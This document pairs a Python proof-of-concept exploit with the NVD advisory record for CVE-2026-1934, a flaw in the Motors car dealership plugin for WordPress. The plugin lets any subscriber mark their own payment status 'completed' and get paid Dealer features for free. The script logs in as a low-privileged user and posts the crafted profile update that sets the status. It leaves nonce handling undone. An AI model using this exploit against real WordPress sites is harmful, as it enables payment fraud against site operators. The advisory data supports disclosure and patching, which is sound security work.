CVE-2026-1934

import requests # Configuration target_url = "http://example.com/wp-admin/profile.php" login_url = "http://example.com/wp-login.php" username = "attacker" # Low-privileged user password = "password" # Create a session to maintain cookies session = requests.Session() # Step 1: Authenticate to get a valid cookie login_data = { 'log': username, 'pwd': password, 'redirect_to': target_url, 'wp-submit': 'Log In', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if login_response.status_code != 200: print("Login failed") exit() # Step 2: Exploit the vulnerability # We send a POST request to the profile update endpoint including the vulnerable parameter. # In a real scenario, you might need to fetch the page first to get nonces, # but the core vulnerability lies in the unrestricted update of this meta key. exploit_data = { 'stm_payment_status': 'completed', # The vulnerable parameter 'description': 'Updated bio', # Dummy data to satisfy profile update requirements 'action': 'update', '_wpnonce': 'fetch_this_from_page', # Requires fetching a valid nonce from the profile page in a real attack 'user_id': '1' # Target user ID (usually self) } try: # Note: This PoC demonstrates the payload structure. # Valid execution requires handling WordPress nonces. response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Request sent. If vulnerable, the user payment status is now 'completed'.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-1934", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:43.770", "lastModified": "2026-05-12T10:16:43.770", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Motors – Car Dealership & Classified Listings plugin for WordPress is vulnerable to Payment Bypass via insecure user meta update in all versions up to, and including, 1.4.103 This is due to the stm_save_user_extra_fields() function updating sensitive user meta fields from POST data without verifying that the current user should have permission to modify those fields. The function hooks into the 'personal_options_update' action and only checks current_user_can('edit_user', $user_id), which passes for any user editing their own profile. This makes it possible for authenticated attackers, with Subscriber-level access and above, to set their stm_payment_status to 'completed', bypassing the PayPal payment verification and gaining access to paid Dealer membership features without completing any transaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/motors-car-dealership-classified-listings/tags/1.4.102/includes/user-extra.php#L255", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/motors-car-dealership-classified-listings/tags/1.4.102/includes/user-extra.php#L294", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/motors-car-dealership-classified-listings/trunk/includes/user-extra.php#L294", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3468174/motors-car-dealership-classified-listings/trunk/includes/user-extra.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fmotors-car-dealership-classified-listings/tags/1.4.103&new_path=%2Fmotors-car-dealership-classified-listings/tags/1.4.104", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/34062e9a-48c2-4676-ab7d-b6334f248e8a?source=cve", "source": "[email protected]"}]}}